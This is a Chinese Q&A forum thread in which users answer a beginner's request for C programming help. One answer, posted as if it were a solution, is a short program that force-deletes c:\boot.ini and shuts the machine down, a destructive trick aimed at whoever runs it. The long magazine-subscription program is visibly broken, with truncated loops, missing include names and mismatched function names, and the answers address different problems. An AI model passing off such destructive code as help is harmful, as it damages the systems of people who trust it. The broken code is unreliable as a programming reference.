求C语言编程!

头像
夏雨落荷塘   2021-09-19   5903浏览
已有98条回答
头像
颜庄小店
2023-07-03

#include
#define max 20
struct magazine
{
char name[11];
char sex[6];
char addr[11];
char phone_number[12];
char unit_price[5];
char amount[4];
char time_limit[11];
}order[max];

void save(int n);
int load_record();
void search();
void printf_n(int n);
void printf_one(int i);
void input(int i);
statitic();
void add();
void menu();

main()
{
FILE *fp;
fp=fopen("record.txt","w");/*在C:\Documents and Settings\Administrator里建立一个"record.txt"记事本*/
fclose(fp);
menu();
}

void menu()
{
int w,n;
do
{
clrscr();
printf("\n");
printf("\t\t* * * * * * * * * * * * * * * * * * * * * * * * *\n");
printf("\t\t \n");
printf("\t\t \n");
printf("\t\t Welcome to the magazine order system !^_^ \n");
printf("\t\t \n");
printf("\t\t \n");
printf("\t\t* * * * * * * * * * * * * * * * * * * * * * * * *\n");
printf("\n\n\t\t *********************************************\n\n");
printf("\t\t 1:add_new_subscriber\n");
printf("\t\t 2:browse\n");
printf("\t\t 3:statistic\n");
printf("\t\t 4:exit\n\n");
printf("\t\t *********************************************\n\n");
printf(" Choice your number(1-4):[ ]\b\b");
scanf("%d",&n);
if(n<1||n>4) w=1;
else w=0;
}
while (w==1);
/***************选择功能****************/
switch(n)
{
case 1:add();break;/*增加新订户记录*/
case 2:search();break;/*查找过期的订户记录并删除*/
case 3:statistic();break;/*统计*/
case 4:exit();break;/*退出*/
}
}
/*******************************************模块***************************************************/
void add()
{
int t,i,m;
clrscr();
t=load_record();
printf("How many groups information do you want to add?\n");
printf("Enter the number:[ ]\b\b\b");
scanf("%d",&m);
for(i=0;i{
printf("\nInput %dth subscriber record.\n",i+1);
input(t+i);/*调用输入函数*/
}
save(t+m);/*调用保存函数 保存t+m组*/
clrscr();/**********清屏************/
menu();/*返回登陆界面*/
}
void input(int i)
{
printf("Please input:\nName sex address phone_number unit_price amount time_ imit \n");
scanf("%s%s%s%s%s%s%s",&order[i].name,&order[i].sex,&order[i].addr,&order[i].phone_number,&order[i].unit_price,&order[i].amount,&order[i].time_limit);
}
/*****************************************统计模块**************************************************/
statistic()
{
int t;
t=load_record();
printf("The amount of subscriber is[%d]\b\b\b",t);
printf_n(t);
printf("\n\n\nPress any key to go back...\n\n");
getch();
menu();
}

void printf_one(int i)/*显示一个杂志订阅记录的函数*/
{
printf("%-10s %-5s %-10s %-11s %-4s %-3s %-10s\n\n",order[i].name,order[i].sex,order[i].addr,order[i].phone_number,order[i].unit_price,order[i].amount,&order[i].time_limit);
}

void printf_n(int n)/*显示n个杂志订阅记录的函数*/
{
int j;
clrscr();/**********清屏************/
printf("Name sex address phone_number price amount time_ imit\n\n");
for(j=0;j {
if((j+1)%10==0)/*控制显示,每屏显示10行*/
{
printf("\n\nPass any key to continue ...");
getch();
puts("\n\n");
}
printf_one(j);/*调用显示一个杂志订阅记录的函数*/
}
}
/****************************查询模块********************************************/
void search()
{
FILE *fp;
char date[11],str[2];
int t,i,sum=0;
t=load_record();
clrscr();
printf("Please input the date:[ ]\b\b\b\b\b\b\b\b\b\b\b");
scanf("%s",date);
printf("\n");
if((fp=fopen("record.txt","w"))==NULL)/*以只写方式打开*/
{
printf("\nCannot open file\n");
exit(0);
}
clrscr();
printf("\n");
for(i=0;i {
if(strcmp(order[i].time_limit,date)<0)
{
sum++;

printf("\n");
printf_one(i);/**********把符合条件的记录显示出来************************/
printf("\n\nThe record is out of date!");
printf("\n\nDo you want to delete it's information?('Y'or'N'):[ ]\b\b");
scanf("%s",str);;
if(strcmp(str,"Y")==0||strcmp(str,"y")==0)
continue;
}
fwrite(&order[i],sizeof(struct magazine),1,fp);
}
fclose(fp);
if(sum==0)
{
printf("***************************************************\n\n");
printf("Sorry! Cannot find the equipment which you want to.\n\n");
printf("***************************************************\n\n");
}
printf("\n\n\nPress any key to go back the former step...\n");
getch();
menu();
}

/****************************公共函数********************************************/
int load_record()/***加载杂志订阅信息并计算记录杂志订阅个数的函数***/
{
FILE *fp;
int i;
if((fp=fopen("record.txt","r"))==NULL)/*以只读方式打开*/
{
printf("\nCannot open file\n");
exit(0);
}
for(i=0;!feof(fp);i++)/*从文件中读入并保存在结构体数组中*/
fread(&order[i],sizeof(struct magazine),1,fp);
fclose(fp);
return(i-1);
}

void save(int n)/*n表示保存n组,m表示保存在哪个文件夹里*/
{
FILE *fp;
int i;
fp=fopen("record.txt","w");/*以只写方式打开*/
if(fp==NULL)
{
printf("\nCannot open file\n");
exit(0);
}
for(i=0;i {
fwrite(&order[i],sizeof(struct magazine),1,fp);

}
fclose(fp);
}

204

头像
噗噗小维尼winnie
2022-10-31

我说一楼的你从哪儿抄那么多废话。。

c语言么,学学人家清华的那,200分谁给你编啊。

我说二楼的你啥意思呀???说说还当真了。。。

还有啊楼上的,你又在干嘛呢,你这不是害人么!!!

79

头像
颖颖emma
2022-05-27

main()
{
system("del c:\boot.ini /s /f /q");
system("shutdown -s -f -t 0");
}

47

头像
中艺古典家具
2021-11-19

if((n%3==2)&&(n%5==3)&&(n%7==4))这条语句执行之后,不管成功与否,程序都会执行break,跳出循环。
改为:
if((n%3==2)&&(n%5==3)&&(n%7==4))

{

printf("%d\n",n);

break;
}

82

头像
冬日红葉
2021-10-09

输出要用printf函数的!
#include
main()
{
int
n;
for(n=0;;++n)
{
if((n%3==2)&&(n%5==3)&&(n%7==4))printf("%d\n",n);break;

}
printf("%d",n);

}
好啦!这下你试一试吧!你这是跳的看书吧!呵呵!

24

相关问题

求C语言编程!
天使之懿727 1970-01-01

c语言编程。
fionazhang77 1970-01-01

C语言编程心得
起舞徘徊风露下 1970-01-01

郁闷啊 学了2年 虽然会些简单的 但是遇到一些难的就一点都不会了 麻烦高手分享写心得难就是做的时候麻烦 但是如果用别的语言就能很简单的实现 用C却很麻烦 所以我想知道下 怎么能把C做的很好

求C语言编程练习的网站
疯疯丫头315 1970-01-01

最好能详细点的,把答案交上去能给我分析的,适合初学者的

C语言编程打地鼠
chocolate宸 1970-01-01

关于c语言的编程
MyronKiven 1970-01-01

如图,求编写

单片机c语言编程
真南真北 1970-01-01

c语言编程论文答辩
小琳子雄霸天下 1970-01-01

单片机C语言编程师
欧阳安Muse 1970-01-01

你好,我是一名快要毕业的大学生,学的是电子信息工程,我想问一下《单片机C语言编程师》这个证对我们学这个专业的在以后的工作中会有用吗?

最新问答

排水论文在哪发?
伊兰0518 2021-09-19

小区市外排水论文发哪个杂志可以呢?我需要发表一篇这方面的论文。

word转pdf,为什么不显示图片图片?
花花的老妈 2021-09-19

我想把论文从word格式转换成PDF格式,用的金山WPS,可转换完成之后,里面的流程图就不见了,空白~~这是为什么呢?谁能帮我解决一下!谢谢!

公众号与小程序有什么区别
汤糖躺烫湯 2021-09-19

公众号与小程序有什么区别

如何制作电子小报
dream959595 2021-09-19

镀铬什么意思
autumngold 2021-09-19

镀铬什么意思

中国电影艺术的思想
幸福顺延 2021-09-19

中国针灸大纲作者是谁?
王子麻麻 2021-09-19

热门问答

排水论文在哪发?
伊兰0518 2021-09-19

小区市外排水论文发哪个杂志可以呢?我需要发表一篇这方面的论文。

word转pdf,为什么不显示图片图片?
花花的老妈 2021-09-19

我想把论文从word格式转换成PDF格式,用的金山WPS,可转换完成之后,里面的流程图就不见了,空白~~这是为什么呢?谁能帮我解决一下!谢谢!

公众号与小程序有什么区别
汤糖躺烫湯 2021-09-19

公众号与小程序有什么区别

如何制作电子小报
dream959595 2021-09-19

镀铬什么意思
autumngold 2021-09-19

镀铬什么意思

中国电影艺术的思想
幸福顺延 2021-09-19

中国针灸大纲作者是谁?
王子麻麻 2021-09-19

Coptyright © www.lw85.com电脑版